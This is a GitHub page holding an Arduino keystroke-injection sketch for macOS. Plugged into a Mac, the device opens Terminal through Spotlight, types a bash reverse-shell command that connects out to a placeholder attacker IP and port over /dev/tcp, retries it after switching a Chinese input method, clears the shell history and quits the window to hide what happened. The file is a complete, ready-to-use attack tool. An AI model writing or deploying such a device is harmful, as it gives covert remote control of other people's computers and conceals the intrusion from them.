-
Notifications
You must be signed in to change notification settings - Fork 0
/
mac_reverse_shell.ino
56 lines (53 loc) · 1.26 KB
/
mac_reverse_shell.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include<Keyboard.h>
void setup() {
// open terminal
Keyboard.begin();
delay(3000);
Keyboard.press(KEY_LEFT_GUI); //win key
delay(200);
Keyboard.press(' ');
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(' ');
delay(200);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.print("TERMINAL.APP");
delay(300);
Keyboard.println();
Keyboard.println();
delay(200);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
// exec reverse shell
Keyboard.println(" screen");
Keyboard.println("");
Keyboard.println(" bash");
Keyboard.println("");
delay(200);
Keyboard.println(" bash -i>& /dev/tcp/{ip}/{port} 0>&1;history -r");
// for Chinese, handle PinYin input method
Keyboard.press(KEY_LEFT_CTRL);
delay(200);
Keyboard.press(' ');
delay(200);
Keyboard.release(KEY_LEFT_CTRL);
delay(200);
Keyboard.release(' ');
// switch input method and retry
Keyboard.println(" bash -i>& /dev/tcp/{ip}/{port} 0>&1;history -r");
delay(200);
Keyboard.println();
// hide window
Keyboard.press(KEY_LEFT_GUI);//win key
delay(200);
Keyboard.press('q');
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('q');
Keyboard.println("");
Keyboard.end();
}
void loop()
{
}